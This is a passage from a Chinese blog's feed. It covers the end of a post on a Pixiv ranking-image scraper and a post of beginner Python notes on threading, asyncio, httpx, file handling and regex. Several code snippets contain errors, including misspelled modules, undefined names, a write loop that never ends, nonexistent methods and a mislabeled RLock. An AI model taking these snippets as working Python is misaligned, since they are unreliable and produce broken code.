src="/2026/03/08/%E7%88%AC%E5%8F%96p%E7%AB%99%E6%AF%8F%E6%97%A5%E6%A6%9C%E5%8D%95%E5%9B%BE%E7%89%87%E7%9A%84%E7%AE%80%E6%98%93%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7/image-20260308155717902.png" alt="image-20260308155717902"></p><p>下载器类都继承基础下载器类</p><p>主要继承了以下方法</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">getillustdata() <span class="comment">#获取作品详细数据</span></span><br><span class="line">downloadillust() <span class="comment">#下载单图</span></span><br><span class="line">downloadportfolio()<span class="comment">#下载作品集</span></span><br></pre></td></tr></table></figure><p><img src="/2026/03/08/%E7%88%AC%E5%8F%96p%E7%AB%99%E6%AF%8F%E6%97%A5%E6%A6%9C%E5%8D%95%E5%9B%BE%E7%89%87%E7%9A%84%E7%AE%80%E6%98%93%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7/image-20260308160504953.png" alt="image-20260308160504953"></p><p>模式下载器类都各自有自己获取作品id的方法</p><p><img src="/2026/03/08/%E7%88%AC%E5%8F%96p%E7%AB%99%E6%AF%8F%E6%97%A5%E6%A6%9C%E5%8D%95%E5%9B%BE%E7%89%87%E7%9A%84%E7%AE%80%E6%98%93%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7/image-20260308160742318.png" alt="image-20260308160742318"></p><p>cli.py作为主逻辑写了所有下载模式的所有协程函数</p><p><img src="/2026/03/08/%E7%88%AC%E5%8F%96p%E7%AB%99%E6%AF%8F%E6%97%A5%E6%A6%9C%E5%8D%95%E5%9B%BE%E7%89%87%E7%9A%84%E7%AE%80%E6%98%93%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7/image-20260308160919429.png" alt="image-20260308160919429"></p><h3 id="优化点"><a href="#优化点" class="headerlink" title="优化点"></a>优化点</h3><p>相比之前使用concurrent库的那个版本来说</p><p>修改了访问url方法 之前的每次访问都要进行三次握手建立连接 导致连接开销比较大</p><p>现在是在类中创建一个client属性使用httpx.AsyncClient()创建一个AsyncClient之后的访问直接使用client.get就可以了 不需要多次建立连接 连接得到复用</p><p>还有其他一些比较细节的地方也进行了优化</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>第一次写这样的工具没什么经验 可能在一些地方处理的不太好 </p><p>希望之后可以多写一些有趣的工具吧</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;简易爬虫&quot;&gt;&lt;a href=&quot;#简易爬虫&quot; class=&quot;headerlink&quot; title=&quot;简易爬虫&quot;&gt;&lt;/a&gt;简易爬虫&lt;/h2&gt;&lt;p&gt;寒假闲着也是闲着 为了提高一下自己薄弱的代码能力 于是写了这个简易工具&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gi</summary>
      
    
    
    
    <category term="学习" scheme="http://example.com/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="工具" scheme="http://example.com/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>编程随笔</title>
    <link href="http://example.com/2026/03/04/%E7%BC%96%E7%A8%8B%E9%9A%8F%E7%AC%94/"/>
    <id>http://example.com/2026/03/04/%E7%BC%96%E7%A8%8B%E9%9A%8F%E7%AC%94/</id>
    <published>2026-03-04T15:08:52.000Z</published>
    <updated>2026-04-28T04:20:14.614Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Pyhon"><a href="#Pyhon" class="headerlink" title="Pyhon"></a>Pyhon</h1><h2 id="并发处理"><a href="#并发处理" class="headerlink" title="并发处理"></a>并发处理</h2><p>pyhton中实现并发的库有:</p><p>1.threading</p><p>2.concurrent </p><p>3.asyncio （异步I&#x2F;O）</p><h2 id="threading"><a href="#threading" class="headerlink" title="threading"></a>threading</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> threading</span><br><span class="line">count=<span class="number">0</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">a</span>():</span><br><span class="line">    <span class="keyword">global</span> count</span><br><span class="line">    count = count + <span class="number">1</span></span><br><span class="line">t = threading.Thread(target=a)<span class="comment">#创建线程任务</span></span><br><span class="line">t.start()<span class="comment">#启动一个线程任务</span></span><br><span class="line">t.join()<span class="comment">#阻塞线程任务 直到完成任务</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="互斥锁-Lock"><a href="#互斥锁-Lock" class="headerlink" title="互斥锁 Lock"></a>互斥锁 Lock</h3><p>用来管理线程对于共享资源的访问 同一时刻只有一个线程可以访问共享资源</p><p>一个acquire()必须有相对应的release()</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> threading</span><br><span class="line">lock=threading.Lock()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">a</span>():</span><br><span class="line">    lock.acquire()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;a得到了锁&quot;</span>)</span><br><span class="line">    lock.release()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;a释放了锁&quot;</span>)</span><br><span class="line">    </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">b</span>():</span><br><span class="line">    lock.acquire()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;a得到了锁&quot;</span>)</span><br><span class="line">    lock.release()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;a释放了锁&quot;</span>)</span><br><span class="line">threads=[]</span><br><span class="line">t1=threading.Thread(target=a)</span><br><span class="line">t2=threading.Thread(target=b)</span><br><span class="line"></span><br><span class="line">t1.start()</span><br><span class="line">t2.start()</span><br><span class="line"></span><br><span class="line">t1.join()</span><br><span class="line">t2.join()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="可读锁-RLock"><a href="#可读锁-RLock" class="headerlink" title="可读锁 RLock"></a>可读锁 RLock</h3><p>同一个线程可以多次调用 <code>acquire()</code> 而不会死锁，每次 <code>acquire()</code> 必须对应一次 <code>release()</code>，直到最后一次释放后，其他线程才能获取该锁</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line">rlock = threading.RLock()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">func1</span>():</span><br><span class="line">    <span class="keyword">with</span> rlock:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;func1 获得了锁&quot;</span>)</span><br><span class="line">        func2()   <span class="comment"># 同一线程再次获取锁，不会阻塞</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">func2</span>():</span><br><span class="line">    <span class="keyword">with</span> rlock:   <span class="comment"># 同一线程可重入</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;func2 获得了锁&quot;</span>)</span><br><span class="line"></span><br><span class="line">t = threading.Thread(target=func1)</span><br><span class="line">t.start()</span><br><span class="line">t.join()</span><br></pre></td></tr></table></figure><h3 id="事件-Event"><a href="#事件-Event" class="headerlink" title="事件 Event"></a>事件 Event</h3><p>一个线程发出信号，一个或多个线程等待该信号</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">event=threading.Event()</span><br><span class="line">event.wait() <span class="comment">#等待事件信号的启动</span></span><br><span class="line">event.<span class="built_in">set</span>() <span class="comment">#发出信号</span></span><br><span class="line">event.clear()<span class="comment">#清除信号</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">event = threading.Event()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">waiter</span>():</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;等待事件...&quot;</span>)</span><br><span class="line">    event.wait()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;事件已发生，继续执行&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">setter</span>():</span><br><span class="line">    time.sleep(<span class="number">2</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;设置事件&quot;</span>)</span><br><span class="line">    event.<span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line">threading.Thread(target=waiter).start()</span><br><span class="line">threading.Thread(target=setter).start()</span><br></pre></td></tr></table></figure><h3 id="条件变量"><a href="#条件变量" class="headerlink" title="条件变量"></a>条件变量</h3><p>比 <code>Event</code> 更灵活，可以配合锁使用，实现复杂的线程间通信（如生产者-消费者）。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">condition = threading.Condition()</span><br><span class="line">queue = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">producer</span>():</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">with</span> condition:</span><br><span class="line">            item = random.randint(<span class="number">1</span>, <span class="number">100</span>)</span><br><span class="line">            queue.append(item)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;生产 <span class="subst">&#123;item&#125;</span>&quot;</span>)</span><br><span class="line">            condition.notify()   <span class="comment"># 唤醒一个消费者</span></span><br><span class="line">        time.sleep(random.random())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">consumer</span>():</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">with</span> condition:</span><br><span class="line">            <span class="keyword">while</span> <span class="keyword">not</span> queue:</span><br><span class="line">                condition.wait()   <span class="comment"># 释放锁并等待</span></span><br><span class="line">            item = queue.pop(<span class="number">0</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;消费 <span class="subst">&#123;item&#125;</span>&quot;</span>)</span><br><span class="line">        time.sleep(random.random())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 启动生产者和消费者线程</span></span><br><span class="line">threading.Thread(target=producer, daemon=<span class="literal">True</span>).start()</span><br><span class="line">threading.Thread(target=consumer, daemon=<span class="literal">True</span>).start()</span><br><span class="line">time.sleep(<span class="number">5</span>)  <span class="comment"># 运行一段时间</span></span><br></pre></td></tr></table></figure><h3 id="信号量"><a href="#信号量" class="headerlink" title="信号量"></a>信号量</h3><p>确保只有指定数量的线程在执行中</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">semaphore = threading.Semaphore(<span class="number">3</span>)  <span class="comment"># 最多3个线程同时访问</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">worker</span>(<span class="params">thread_id</span>):</span><br><span class="line">    <span class="keyword">with</span> semaphore:    <span class="comment"># 获取信号量</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;线程 <span class="subst">&#123;thread_id&#125;</span> 开始工作&quot;</span>)</span><br><span class="line">        time.sleep(<span class="number">1</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;线程 <span class="subst">&#123;thread_id&#125;</span> 结束工作&quot;</span>)</span><br><span class="line"></span><br><span class="line">threads = [threading.Thread(target=worker, args=(i,)) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>)]</span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> threads: t.start()</span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> threads: t.join()</span><br><span class="line"><span class="comment"># 输出中最多同时3个线程在工作</span></span><br></pre></td></tr></table></figure><h3 id="屏障"><a href="#屏障" class="headerlink" title="屏障"></a>屏障</h3><p>等待进程到达屏障点 然后一起执行</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">barrier = threading.Barrier(<span class="number">3</span>)  <span class="comment"># 需要3个线程都到达</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">player</span>(<span class="params">name</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;name&#125;</span> 准备&quot;</span>)</span><br><span class="line">    time.sleep(<span class="number">1</span>)                <span class="comment"># 模拟准备时间</span></span><br><span class="line">    barrier.wait()                <span class="comment"># 等待所有玩家准备</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;name&#125;</span> 出发！&quot;</span>)</span><br><span class="line"></span><br><span class="line">names = [<span class="string">&quot;A&quot;</span>, <span class="string">&quot;B&quot;</span>, <span class="string">&quot;C&quot;</span>]</span><br><span class="line">threads = [threading.Thread(target=player, args=(name,)) <span class="keyword">for</span> name <span class="keyword">in</span> names]</span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> threads: t.start()</span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> threads: t.join()</span><br><span class="line"><span class="comment"># 输出：三个“准备”后，所有“出发”会同时打印（或几乎同时）</span></span><br></pre></td></tr></table></figure><h3 id="concurrent"><a href="#concurrent" class="headerlink" title="concurrent"></a>concurrent</h3><p>主要是使用concurrent 里面的futures模块</p><p>直接开一个线程池 在里面提交任务自动就会开启子线程开启任务</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> cooncurrent <span class="keyword">import</span> futures</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> cf.ThreadPoolExecutor(max_workers=<span class="number">50</span>) <span class="keyword">as</span> executor:</span><br><span class="line">    future=executor.submit(func,)</span><br><span class="line">    futures.append(future)</span><br><span class="line">    <span class="keyword">for</span> future <span class="keyword">in</span> futures:</span><br><span class="line">        result=future.result()<span class="comment">#阻塞线程任务直到完成 但是不会阻塞线程池中的任务</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> concurrent.futures <span class="keyword">import</span> wait, FIRST_COMPLETED</span><br><span class="line"></span><br><span class="line">futures = [executor.submit(task, i) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>)]</span><br><span class="line">done, not_done = wait(futures, return_when=FIRST_COMPLETED)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;已完成：<span class="subst">&#123;<span class="built_in">len</span>(done)&#125;</span>，未完成：<span class="subst">&#123;<span class="built_in">len</span>(not_done)&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> concurrent.futures <span class="keyword">import</span> as_completed</span><br><span class="line"></span><br><span class="line">futures = [executor.submit(task, i) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>)]</span><br><span class="line"><span class="keyword">for</span> future <span class="keyword">in</span> as_completed(futures):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;结果：<span class="subst">&#123;future.result()&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="asyncio"><a href="#asyncio" class="headerlink" title="asyncio"></a>asyncio</h3><p>异步I&#x2F;O操作</p><p>单线程+循环事件</p><p>一定要用协程函数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> asyncio</span><br><span class="line"><span class="keyword">import</span> httpx</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">func1</span>():</span><br><span class="line">    task=<span class="keyword">await</span> asyncio.sleep(<span class="number">0.1</span>)</span><br><span class="line">    </span><br><span class="line">    task1=asyncio.sleep(<span class="number">0.1</span>)</span><br><span class="line">    task2=asyncio.sleep(<span class="number">0.2</span>)</span><br><span class="line">    cores=<span class="keyword">await</span> asyncio.gather(task1,task2)</span><br><span class="line">asyncio.run(func1())</span><br></pre></td></tr></table></figure><p>await会挂起任务 并执行其他相同的任务 与直接阻塞不同</p><h3 id="httpx"><a href="#httpx" class="headerlink" title="httpx"></a>httpx</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> httpx</span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">get</span>():</span><br><span class="line">    <span class="keyword">with</span> httpx.AsyncClient() <span class="keyword">as</span> client:</span><br><span class="line">        responce = <span class="keyword">await</span> client.get()</span><br></pre></td></tr></table></figure><h3 id="aiohttp"><a href="#aiohttp" class="headerlink" title="aiohttp"></a>aiohttp</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> aiohttp</span><br><span class="line"><span class="keyword">with</span> aihttp.Session() <span class="keyword">as</span> session:</span><br><span class="line">    <span class="keyword">with</span> session.get(url) <span class="keyword">as</span> responce:</span><br><span class="line">        </span><br></pre></td></tr></table></figure><p>通常需要显示关闭一些东西 比如连接 执行器</p><p>使用with as 语句可以自动关闭 </p><h3 id="连接池复用"><a href="#连接池复用" class="headerlink" title="连接池复用"></a>连接池复用</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> request</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Client</span>():</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self,url,header,cookies,proxy</span>):</span><br><span class="line">        <span class="variable language_">self</span>.url=url</span><br><span class="line">        <span class="variable language_">self</span>.header=header</span><br><span class="line">        <span class="variable language_">self</span>.cookies=cookies</span><br><span class="line">        <span class="variable language_">self</span>.proxy=proxy</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__enter__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.session=request.session(proxy,header,cookies)</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__exit__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="variable language_">self</span>.session:</span><br><span class="line">            <span class="variable language_">self</span>.session.close()</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> Client() <span class="keyword">as</span> client:</span><br><span class="line">    client.get(url)</span><br><span class="line">    </span><br><span class="line"> </span><br><span class="line">    </span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="文件操作"><a href="#文件操作" class="headerlink" title="文件操作"></a>文件操作</h2><h3 id="python中文件操作权限常用类型"><a href="#python中文件操作权限常用类型" class="headerlink" title="python中文件操作权限常用类型:"></a>python中文件操作权限常用类型:</h3><p><img src="/image-20260320195600527.png" alt="image-20260320195600527"></p><p><img src="/image-20260320200009481.png" alt="image-20260320200009481"></p><h3 id="读写文件"><a href="#读写文件" class="headerlink" title="读写文件"></a>读写文件</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">file = <span class="string">&quot;D:\\123\\1.txt&quot;</span></span><br><span class="line">fileWrite = <span class="string">&quot;D:\\123\\2.txt&quot;</span></span><br><span class="line">line = <span class="literal">None</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(file,<span class="string">&quot;r+&quot;</span>,encoding = <span class="string">&quot;utf-8&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">while</span> line != <span class="string">&quot;&quot;</span>:</span><br><span class="line">        line = f.readline()</span><br><span class="line">        <span class="built_in">print</span>(line)</span><br><span class="line">        </span><br><span class="line">        </span><br><span class="line">file = <span class="string">&quot;D:\\123\\1.txt&quot;</span></span><br><span class="line">fileWrite = <span class="string">&quot;D:\\123\\2.txt&quot;</span></span><br><span class="line">line = <span class="literal">None</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(file,<span class="string">&quot;r+&quot;</span>,encoding = <span class="string">&quot;utf-8&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">while</span> line != <span class="string">&quot;&quot;</span>:</span><br><span class="line">        lineWrite = <span class="string">&quot;aaa&quot;</span></span><br><span class="line">        <span class="comment">#print(lineWrite,file=fileWrite)</span></span><br><span class="line">        f.writeline(lineWrite)</span><br><span class="line">    </span><br></pre></td></tr></table></figure><h3 id="下载网络图片"><a href="#下载网络图片" class="headerlink" title="下载网络图片"></a>下载网络图片</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(file,<span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> chunk <span class="keyword">in</span> res.iter_content(size=<span class="number">1024</span>):</span><br><span class="line">        f.write(chunk)</span><br></pre></td></tr></table></figure><h3 id="修改文件目录中的文件的后缀名"><a href="#修改文件目录中的文件的后缀名" class="headerlink" title="修改文件目录中的文件的后缀名"></a>修改文件目录中的文件的后缀名</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pathlib</span><br><span class="line">file = <span class="string">&quot;D:/anime/test&quot;</span></span><br><span class="line">F = pathlib.Path(file)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> F.exists() <span class="keyword">and</span> F.is_dir():</span><br><span class="line">    <span class="keyword">for</span> f <span class="keyword">in</span> F.iterdir():</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;.sc.ass.txt&quot;</span> <span class="keyword">in</span> f.name:</span><br><span class="line">            newName = f.name.replace(<span class="string">&quot;.sc.ass.txt&quot;</span>,<span class="string">&quot;.ass&quot;</span>)</span><br><span class="line">            newFile = f.with_name(newName)</span><br><span class="line"></span><br><span class="line">            f.rename(newFile)</span><br><span class="line"></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;重命名成功：<span class="subst">&#123;newFile&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="匹配并修改文本中的特定字符串"><a href="#匹配并修改文本中的特定字符串" class="headerlink" title="匹配并修改文本中的特定字符串"></a>匹配并修改文本中的特定字符串</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pathlib</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">filename = <span class="string">&quot;C:/Users/sakuya/Desktop/1/test/从零开始学习java安全.md&quot;</span></span><br><span class="line">prefix = <span class="string">r&quot;E:\blog_back\source\_posts\从零开始学习java安全\ &quot;</span>.strip()</span><br><span class="line">file = pathlib.Path(filename)</span><br><span class="line">fileTmp = pathlib.Path(filename + <span class="string">&quot;.tmp&quot;</span>)</span><br><span class="line"><span class="keyword">with</span> file.<span class="built_in">open</span>(mode=<span class="string">&quot;r&quot;</span>,encoding=<span class="string">&quot;UTF-8&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">with</span> fileTmp.<span class="built_in">open</span>(mode=<span class="string">&quot;w&quot;</span>,encoding=<span class="string">&quot;UTF-8&quot;</span>) <span class="keyword">as</span> fTmp:</span><br><span class="line">        <span class="keyword">while</span> (<span class="number">1</span>):</span><br><span class="line">            line = f.readline().replace(prefix,<span class="string">&quot;&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> line == <span class="string">&quot;&quot;</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            fTmp.write(line)</span><br><span class="line">            </span><br><span class="line">os.replace(fileTmp,file)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;OK&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="正则匹配"><a href="#正则匹配" class="headerlink" title="正则匹配"></a>正则匹配</h2><h3 id="re库常用方法"><a href="#re库常用方法" class="headerlink" title="re库常用方法"></a>re库常用方法</h3><figure class="highlight 